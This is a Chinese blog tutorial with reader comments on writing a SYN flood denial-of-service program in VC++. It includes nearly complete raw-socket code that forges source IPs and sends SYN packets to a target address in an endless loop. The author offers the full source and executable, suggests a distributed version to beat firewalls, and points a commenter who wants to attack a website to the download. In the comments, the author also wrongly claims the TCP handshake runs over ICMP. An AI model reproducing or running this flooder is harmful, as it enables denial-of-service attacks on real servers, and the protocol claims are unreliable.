用VC实现洪水攻击程序

本文为原创,如需转载,请注明作者和出处,谢谢!

一、             什么是洪水攻击

洪水之猛、势不可挡。如果将洪水比作对计算机的攻击,那大家可以想象得出,攻击是多的猛烈。

在安全领域所指的洪水攻击是指向目标机器发送大量无用的数据包,使得目标机器忙于处理这些无用的数据包,而无法处理正常的数据包。在攻击过程中,目标机器的CPU的使用率将高于正常值,有时甚至会达到100%。这样将使目标机器的性能急剧下降。这有些象我们在日常生活中的电话,如果要使某个电话瘫痪,就不停地拨这个电话的号码,那么其它的电话就无法拨通这个电话,当然,要想不接到骚扰电话,唯一的方法是将电话线拔了。同样,要想计算机完全避免洪水攻击的唯一方法,就是不让这台计算机上网,更直接的就是将网线拔了。

二、             洪水攻击的原理

洪水攻击也称为拒绝服务攻击。可以有很多种方式进行这种攻击,本文主要讨论比较常用的利用TCP三次握手的漏洞来耗尽计算机资源的方式来进行攻击。

那么什么是TCP的三次握手呢?其实原理很简单。这要从TCP的连接过程说起。我们一般使用Socket API来进行TCP连接。要做的只是将IP或计算机名以及端口号传入connect函数,如果参数正确,目标机器的服务可用的话,这个TCP连接就会成功。之所以连接这么方便,是因为Socket API已经将一些底层的操作隐藏了起来。那么这里面究竟发生了什么呢?

我们由网络7层可知,在TCP所在的传输层下面是网络层,在这一层最有代表性的协议就是IP协议。而TCP数据包就是通过IP协议传输的。这就是我们为什么经常说TCP/IP协议的缘故。TCP在底层的连接并不是这么简单。在真正建立连接之前,必须先进行验证。那么如何验证呢?

假设有两台机器ABA使用TCP协议连接B,在建立连接之前,A先发一个报文给BB在接收到这个数据包后,利用报文中的源地址(也就是AIP)再给A发一个报文,A在接到这个报文后,又给B发了一个报文,B如果成功接到这个报文后,就正式和A建立TCP连接。过程示意如图1所示:


1 TCP连接的三次握手

问题就出在第二次握手上。正常情况下,报文的源地址应该是AIP,但如果是一个非法报文的话,报文的源地址可能并不是AIP,也许就是一个并不存在的IP。如果是这样,那在第二次握手时,B也就无法找到A了,这当然就不可能发生第三次握手。因为,B找不到A,而A又迟迟得不到B的回信,这样TCP就无法连接。但攻击者的目的并不是要建立TCP连接,而是要耗尽B的资源。由于B找不到AB也就无法得到A的回信,如果这种情况发生,B并不会将在第一次握手中建立的资源马上释放,而会有一个超时,假设这个时间是10秒。如果A在这10秒内向B发送10000个这样的连接数据包,就意味着B要维护这10000个连接资源。如果过了10秒,B释放了这些资源,A在下一个10称还会发10000个连接包。如果A不断地发这样数据包,就意味着B将永远要维护这10000个连接,因此,BCPU和内存将被耗尽,至少也得被占用大部分。所以B就无法响应其它机器的请求,或者是响应迟缓。

洪水攻击的实现

在上一部分我们讨论了洪水攻击原理,在这一部分我将给出一个完成的实例说明如何使用C语言来设计洪水攻击程序。

由于报文是用IP协议发送的,因此,我们需要自己定义IP数据包的数据结构,这样我们就可以任意修改IP数据包的内容了。下面是IP协议的数据结构。

typedef struct _iphdr   //定义IP首部 

  unsigned 
char h_verlen;  //4位首部长度,4位IP版本号 
  unsigned char tos;  //8位服务类型TOS 
  unsigned short total_len;  //16位总长度(字节) 
  unsigned short ident;  //16位标识 
  unsigned short frag_and_flags;  //3位标志位 
  unsigned char ttl; //8位生存时间 TTL 
  unsigned char proto; //8位协议 (TCP, UDP 或其他) 
  unsigned short checksum; //16位IP首部校验和 
  unsigned int sourceIP; //32位源IP地址 
  unsigned int destIP; //32位目的IP地址 
} IP_HEADER;

这个结构比较复杂,我们只看其中3个,其余的成员可以参考《TCP/IP详解1:协议》的相关部分。最后两个成员sourceIPdestIP就是上述所说的ABIP。而最重要的就是checksum,这个参数是一个验证码,用于验证发送的IP数据包的正确性,我们把这个验证码称为校验和。计算它的函数如下:

USHORT checksum(USHORT *buffer, int size) 

unsigned 
long cksum=0;  
  
while(size >1

  cksum
+=*buffer++
size 
-=sizeof(USHORT); 
  } 
  
if(size ) 

  cksum 
+= *(UCHAR*)buffer; 
  } 
  cksum 
= (cksum >> 16+ (cksum & 0xffff); 
  cksum 
+= (cksum >>16); 
  
return (USHORT)(~cksum); 
}

看了上面的代码也许会有很多疑问,下面我就简单描述一下如何计算机IP数据包的校验和。IP数据包的校验和是根据IP首部计算机出来的,而并不对IP数据包中的数据部分进行计算。为了计算一个数作为校验和,首先把校验和字段赋为0。然后,对首部中每个16位进行二进制白马反码求和(我们可以将整个IP首部看成是由一组16位的字组成),将结果保存在校验和字段中。当收到一份IP数据报后,同样对首部中每个16位进行二进制反码的求和。由于接收方在计算机过程中包含了发送方存在首部的校验和,因此,如果首部在传输过程中没有发生任何差错,那么接收方计算的结果应该全是1.如果结果不全是1(即校验和错误),那么IP就丢弃收到的数据报。但不生成差错报文,由上层(如TCP协议)去发现丢失的数据报并进行重传。

由于我们要发送假的TCP连接包,因此,为分别定义一个伪TCP首部和真正的TCP首部。

struct  //定义TCP伪首部 

  unsigned 
long saddr; //源地址 
  unsigned long daddr; //目的地址 
  char mbz; 
  
char ptcl; //协议类型 
  unsigned short tcpl; //TCP长度 
}  psd_header; 

typedef 
struct _tcphdr  //定义TCP首部 

  USHORT th_sport; 
//16位源端口 
  USHORT th_dport; //16位目的端口 
  unsigned int th_seq; //32位序列号 
  unsigned int th_ack; //32位确认号 
  unsigned char th_lenres;//4位首部长度/6位保留字 
  unsigned char th_flag;//6位标志位 
  USHORT th_win; //16位窗口大小 
  USHORT th_sum; //16位校验和 
  USHORT th_urp; //16位紧急数据偏移量 
} TCP_HEADER;

在以上的准备工作都完成后,就可以写main函数中的内容了。下面是程序的定义部分。

#include <winsock2.h> 
#include 
<Ws2tcpip.h> 
#include 
<stdio.h> 
#include 
<stdlib.h> 
#define SEQ 0x28376839 
#define SYN_DEST_IP "127.0.0.1"//被攻击的默认IP 
#define FAKE_IP "10.168.150.1" //伪装IP的起始值,可以是任意IP 
#define STATUS_FAILED 0xFFFF//错误返回值
int main(int argc, char **argv) 

  
int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost; 
  
int TimeOut=2000,SendSEQ=0
  
char SendBuf[128];  // 每个数据包是128个字节
  char DestIP[16];  // 要攻击的机器IP,在这里就是B的IP
  memset(DestIP, 04);  
// 如果通过参数输入个IP,将DestIP赋为这IP,否则SYN_DEST_IP赋给DestIP
  if(argc < 2)  
     strcpy(DestIP, SYN_DEST_IP);
  
else
     strcpy(DestIP, argv[
1]);
  
// 以下是声明Socket变量和相应的数据结构
  WSADATA wsaData; 
  SOCKET SockRaw
=(SOCKET)NULL; 
  
struct sockaddr_in DestAddr; 
  IP_HEADER ip_header; 
  TCP_HEADER tcp_header;
… …
}

下一步就是初始化Raw Socket

 //初始化SOCK_RAW 
  if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)  // 使用Socket2.x版本

      fprintf(stderr,
"WSAStartup failed: %d\n",ErrorCode); 
      ExitProcess(STATUS_FAILED); 
  }  
SockRaw
=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); 
if (SockRaw==INVALID_SOCKET)  // 如果建立Socket错误,输出错误信息

  fprintf(stderr,
"WSASocket() failed: %d\n",WSAGetLastError()); 
  ExitProcess(STATUS_FAILED);
  }

 第二步就是填充刚才定义的那些数据结构

//设置IP_HDRINCL以自己填充IP首部 
  ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); 
if (ErrorCode==SOCKET_ERROR)printf("Set IP_HDRINCL Error!\n"); 
  __try{ 
  
//设置发送超时 

  ErrorCode
=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); 
if(ErrorCode==SOCKET_ERROR)

   fprintf(stderr,
"Failed to set send TimeOut: %d\n",WSAGetLastError()); 
  __leave; 
  } 
  memset(
&DestAddr,0,sizeof(DestAddr)); 
  DestAddr.sin_family
=AF_INET; 
  DestAddr.sin_addr.s_addr
=inet_addr(DestIP); 
  FakeIpNet
=inet_addr(FAKE_IP); 
  FakeIpHost
=ntohl(FakeIpNet); 
  
//填充IP首部 
  ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); 
//高四位IP版本号,低四位首部长度 
  ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节) 
  ip_header.ident=1//16位标识 
  ip_header.frag_and_flags=0//3位标志位 
  ip_header.ttl=128//8位生存时间TTL 
  ip_header.proto=IPPROTO_TCP;//8位协议(TCP,UDP…) 
  ip_header.checksum=0;//16位IP首部校验和 
  ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址 
  ip_header.destIP=inet_addr(DestIP); //32位目的IP地址 
  
//填充TCP首部 
  tcp_header.th_sport=htons(7000);//源端口号 
  tcp_header.th_dport=htons(8080);//目的端口号 
  tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号 
  tcp_header.th_ack=0//ACK序列号置为0 
  tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);//TCP长度和保留位 
  tcp_header.th_flag=2//SYN 标志 
  tcp_header.th_win=htons(16384); //窗口大小 
  tcp_header.th_urp=0//偏移 
  tcp_header.th_sum=0//校验和 
  
//填充TCP伪首部(用于计算校验和,并不真正发送) 
  psd_header.saddr=ip_header.sourceIP;//源地址 
  psd_header.daddr=ip_header.destIP;//目的地址 
  psd_header.mbz=0
  psd_header.ptcl
=IPPROTO_TCP;//协议类型 
  psd_header.tcpl=htons(sizeof(tcp_header));//TCP首部长度

  最后一步是通过一个while循环发送向目标机器发送报文
  
while(1)
 { 

  
//每发送10000个报文输出一个标示符 
  printf("."); 
  
for(counter=0;counter<10000;counter++){ 
  
if(SendSEQ++==65536) SendSEQ=1;//序列号循环 
  
//更改IP首部 
  ip_header.checksum=0;//16位IP首部校验和 
  ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址 
  
//更改TCP首部 
  tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号 
  tcp_header.th_sum=0//校验和 
  
//更改TCP Pseudo Header 
  psd_header.saddr=ip_header.sourceIP; 
  
//计算TCP校验和,计算校验和时需要包括TCP pseudo header 
  memcpy(SendBuf,&psd_header,sizeof(psd_header)); 
  memcpy(SendBuf
+sizeof(psd_header),&tcp_header,sizeof(tcp_header)); 
  tcp_header.th_sum
=checksum((USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header)); 
  
//计算IP校验和 
  memcpy(SendBuf,&ip_header,sizeof(ip_header)); 
  memcpy(SendBuf
+sizeof(ip_header),&tcp_header,sizeof(tcp_header)); 
  memset(SendBuf
+sizeof(ip_header)+sizeof(tcp_header),0,4); 
  datasize
=sizeof(ip_header)+sizeof(tcp_header); 
  ip_header.checksum
=checksum((USHORT *)SendBuf,datasize); 
  
//填充发送缓冲区 
  memcpy(SendBuf,&ip_header,sizeof(ip_header)); 
  
//发送TCP报文 
  ErrorCode=sendto(SockRaw,  SendBuf,  datasize,  0,   (struct sockaddr*&DestAddr, 
  
sizeof(DestAddr)); 
if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError()); 
}
}

到现在为止,我们已经完成了一个洪水攻击的控制台软件。本程序使用VC6.0调试通过。感性趣的读者可以下载本文提供的完整代码。在Debug目录中有一个exe程序,synflooding.exe,可以通过参数将目标IP传入exe。如synflooding 129.11.22.33,如果不带参数,默认就是本机(127.0.0.1)。软件的运行界面如图2所示,攻击后的CPU使用情况如图3如示。



2 攻击软件运行界面


3 CPU已经100%

    3是我使用本机测试的结果,如果通过局域网攻击其它的机器,CPU未必能达到100%,但至少也在50%以上,可以使目标机器明显变慢。如果我们通过其它的黑客技术将这个程序改成分布式的洪水攻击,并降低每个单机攻击的频率。这样就算是再好的防火墙也无法防御。除非对方使用蜜罐等手段隐藏或设置虚假IP,否则这种最原始的攻击手段都会奏效。

源代码下载

posted on 2008-04-28 13:41 银河使者 阅读(3976) 评论(38) 编辑 收藏

评论

#1楼 2008-04-28 13:46 侯垒      

好厉害,防火墙能不能拦截住呀?  回复 引用 查看   

#2楼 2008-04-28 14:03 silent x[未注册用户]

firewall随便一个策略就可以屏蔽了

不过对付菜鸟足够了
 回复 引用   

#3楼 2008-04-28 14:05 Tony Zhou      

good  回复 引用 查看   

#4楼[楼主] 2008-04-28 14:06 银河使者      

如果在局域网中防不太容易(如果经过改进的洪水攻击,如分布式的更不容易防),但在广域网上,要根据自己的机器速度了。最好改成分布式的。哈哈,谁有其他语言的实现,如C#,请跟贴。  回复 引用 查看   

#5楼[楼主] 2008-04-28 14:09 银河使者      

本文的实现只是一个非常初级的版本,这种一防就防了。但分布式的就不好防了。对于每个请求,和正常的一样。firewall就很难判断哪个是攻击请求,哪个是正常请求。  回复 引用 查看   

#6楼[楼主] 2008-04-28 14:25 银河使者      

对于服务器来说,所有的请求都是一样的,一般是根据请求的频率来区分是不是攻击请求的  回复 引用 查看   

#7楼 2008-04-28 14:39 狼Robot      

牛.  回复 引用 查看   

#8楼 2008-04-28 14:39 zzz[未注册用户]

把自己都给洪水的100%卡吧死机了,还弄什么啊  回复 引用   

#9楼 2008-04-28 14:40 nicye      

http://blog.csdn.net/nutian/archive/2006/10/26/1351691.aspx
C# DDOS攻击代码(伪IP)
 回复 引用 查看   

#10楼[楼主] 2008-04-28 14:55 银河使者      

真正的洪水攻击还是很强大的,这个程序只是个例子。哈哈。  回复 引用 查看   

#11楼 2008-04-28 15:20 Phinecos(洞庭散人)      

厉害,厉害,学习下  回复 引用 查看   

#12楼 2008-04-28 15:27 喝小酒泡尼姑[未注册用户]

下载地址在哪儿呢?  回复 引用   

#13楼 2008-04-28 16:31 dudubeibei      

嘘~~~~~~
楼主要低调啊!千万别让地球人知道啊!!!
 回复 引用 查看   

#14楼[楼主] 2008-04-28 16:33 银河使者      

那就靠大家保密了。哈哈  回复 引用 查看   

#15楼 2008-04-28 17:13 Zhuang miao      

哈,不错不错,安全人士!!  回复 引用 查看   

#16楼 2008-04-28 17:16 Zhuang miao      

不过DDOS的程序网上不计其数吧??貌似现在不流行DDOS了  回复 引用 查看   

#17楼 2008-04-28 17:34 Harlan---      

學習一下洪水攻击程序,還沒做過呢?  回复 引用 查看   

#18楼[楼主] 2008-04-28 19:24 银河使者      

不管黑猫白猫,抓着耗子就是好猫。 管它流行不流行,管用就行!!  回复 引用 查看   

#19楼 2008-04-28 21:47 在线代理[未注册用户]

tcp的硬伤啊, 什么时候才能解决。  回复 引用   

#20楼 2008-04-28 22:12 anonymous[未注册用户]

楼主关于TCP3次握手过程的描述是错误的。

ICMP属于网络层协议,TCP属于传输层,TCP握手过程中主要依靠TCP协议中的相关字段来实现的,和ICMP没什么关系的。
 回复 引用   

#21楼[楼主] 2008-04-28 23:31 银河使者      

TCP要通过ICMP发送报文进行三次握手连接。TCP在底层是通过ICMP发送报文的。洪水攻击的原理就是干预三次握手的过程。也步是在第一次握手时,给服务端发一个假的IP,让服务器不断发向外发不可能到达的包,由于这些包的资源在一段时间后释放,因此,服务端的资源会逐渐耗尽。  回复 引用 查看   

#22楼 2008-04-29 08:33 李战      

 回复 引用 查看   

#23楼 2008-04-29 20:07 philip[未注册用户]

TCP三次握手关ICMP什么事啊?不就是发SYN包吗?  回复 引用   

#24楼 2008-04-29 20:22 zfive5[未注册用户]

同意,一定要闹懂icmp和tcp没有关系,请选抱着三卷看一下  回复 引用   

#25楼[楼主] 2008-04-29 20:41 银河使者      

是发一个syn包,但syn包是依靠icmp协议发的,千万另告诉我什么都不用,直接发过去了。在网络中发的任何的数据都是有协议的。没有协议是不能发送数据的(更准确地说,是不能成功发送数据)。

其实tcp在三次握手的过程中是反复用的ping技术,而ping技术就是使用的icmp发的报文。
所以在windows中有时tcp连接不好使(可能的表现是上不了网或局域网),但是ping其他的机器还能通,就是这个道理。也就是说,ping通其他的机器,并不代表tcp就好使,但tcp好使,ping一定好使,否则连握手都握不上。
 回复 引用 查看   

#26楼[楼主] 2008-04-29 20:43 银河使者      

再说,tcp和icmp这些东西在第一卷上。  回复 引用 查看   

#27楼[楼主] 2008-04-29 20:52 银河使者      

基本上网络七层协议是下面一层包含上面一层的协议头和协议体。如TCP协议的协议体包含了Http的协议头和协议体。IP协议的协议体包含了TCP协议的协议头和协议体。
在TCP还没建立成功之间,不可能使用TCP的协议体包含任何东西。只能使用网络层的协议来包含要发送的数据,当然,肯定不是IP协议,由于ICMP协议是网络层的协议,因此,就要使用icmp来发送包含TCP协议头的报文给服务端了,然后服务端又会用icmp协议回送一个报文。
 回复 引用 查看   

#28楼 2008-04-29 23:37 philip[未注册用户]

--引用--------------------------------------------------
银河使者: 是发一个syn包,但syn包是依靠icmp协议发的,千万另告诉我什么都不用,直接发过去了。在网络中发的任何的数据都是有协议的。没有协议是不能发送数据的(更准确地说,是不能成功发送数据)。

其实tcp在三次握手的过程中是反复用的ping技术,而ping技术就是使用的icmp发的报文。
所以在windows中有时tcp连接不好使(可能的表现是上不了网或局域网),但是ping其他的机器还能通,就是这个道理。也就是说,ping通其他的机器,并不代表tcp就好使,但tcp好使,ping一定好使,否则连握手都握不上。
--------------------------------------------------------
不会吧,楼主照你能写这个程序的水平看,你不应该犯这种低级错误啊,概念完全不清啊,tcp三次握手本来就和icmp一点关系没有啊。所谓syn包是依靠icmp协议发的,根本是逻辑混乱啊,你从哪看来的?能否给个出处?这也错的太离谱了。啥也别说了,你自己用sniffer抓包去看看,看看三次握手的过程是怎么回事吧。。。。
 回复 引用   

#29楼 2008-04-29 23:45 philip[未注册用户]

再说了,本来syn、ack这些标志位都是tcp报头里的,按你的说法三次握手用的是icmp,这些标志位在哪表示啊?楼主你说是tcpip详解里这样写的?stevens要被你气得死而复生了。。。  回复 引用   

#30楼[楼主] 2008-04-30 15:44 银河使者      

回去再查查,这个程序是很多年前我编的一个课程作业。有些细节已经记不清楚了。可能是和ping的原理弄混了。再查查书,更正一下。又重新看了下程序,应该是用IP协议体包的TCP头。因为,只有用IP协议,TCP协议头的内容才可以改变。

datasize=sizeof(ip_header)+sizeof(tcp_header);

发送数据的size是ip头+TCP头(也就是ip体)

ping是通过icmp进行探测。 哪天把这个程序的源代码和可执行文件传上去,大家可以试试,如果未安防火墙,在局域网中还是很好使的。可不要用在非学习的目的啊,否则后果自负。

注:这个程序和文章不是同一个时间写的。相隔了好几年。有些东西有点弄混了。如果本文还有哪些细节不妥的地方,还请大家多多指正。 谢谢!
 回复 引用 查看   

#31楼[楼主] 2008-04-30 16:05 银河使者      

还有一个ping的程序,里面用的是icmp协议探测的。有空发一下。  回复 引用 查看   

#32楼 2008-05-16 14:08 我是黑客[未注册用户]

挖卡卡,我也能成了黑客了~~~~  回复 引用   

#33楼 2008-05-17 11:43 hua~[未注册用户]

搞自己的还行,换了搞同事的机子,一点反映都没有,没有绕过凡火枪的能力,算不上什么攻击的东西,不果学习下知识也不错~~~顶鸟  回复 引用   

#34楼[楼主] 2008-05-17 11:49 银河使者      

这个例子就是让读者学习一下基本的知识。这些知识是很多攻击软件都要用到的。  回复 引用 查看   

#35楼 2008-06-09 15:40 foxinhongyan[未注册用户]

有问题嘛,  回复 引用   

#36楼 2008-09-09 13:59 叶落我心已死[未注册用户]

银河使者你好``我的上司叫我写个VC++程序攻击自己的网站``我找了半天也就你这看起还有点用. 不过我copy代码确怎么也运行不起来,上面又崔的紧``我是一个程序员只知道些代码不知道怎么写攻击别人的代码!!  回复 引用   

#37楼[楼主] 2008-09-09 16:38 银河使者      

可在文章的最后提供的源代码下载,你可以做个参考,good luck!  回复 引用 查看   

#38楼 2009-04-03 12:16 菜鸟求救[未注册用户]

synflooding.obj : error LNK2001: unresolved external symbol __imp__WSACleanup@0
synflooding.obj : error LNK2001: unresolved external symbol __imp__closesocket@4
synflooding.obj : error LNK2001: unresolved external symbol __imp__sendto@24
synflooding.obj : error LNK2001: unresolved external symbol __imp__htonl@4
synflooding.obj : error LNK2001: unresolved external symbol __imp__htons@4
synflooding.obj : error LNK2001: unresolved external symbol __imp__ntohl@4
synflooding.obj : error LNK2001: unresolved external symbol __imp__inet_addr@4
synflooding.obj : error LNK2001: unresolved external symbol __imp__setsockopt@20
synflooding.obj : error LNK2001: unresolved external symbol __imp__WSAGetLastError@0
synflooding.obj : error LNK2001: unresolved external symbol __imp__WSASocketA@24
synflooding.obj : error LNK2001: unresolved external symbol __imp__WSAStartup@8
源代码出现以上错误啊,怎么解决啊?上网找说缺少ldap有关的库文件。知道的说下。感激不尽啊
 回复 引用   

<2008年4月>
303112345
6789101112
13141516171819
20212223242526
27282930123
45678910

导航

统计

公告


我的其他blog

http://nokiaguy.cnblogs.com
http://blog.csdn.net/nokiaguy

我的著作







正在读的书



昵称:银河使者
园龄:3年9个月
粉丝:102
关注:3

搜索

 
 

常用链接

我的标签

随笔分类(233)

随笔档案(122)

相册

Blogs

开源

协议

积分与排名

最新评论

阅读排行榜

评论排行榜

推荐排行榜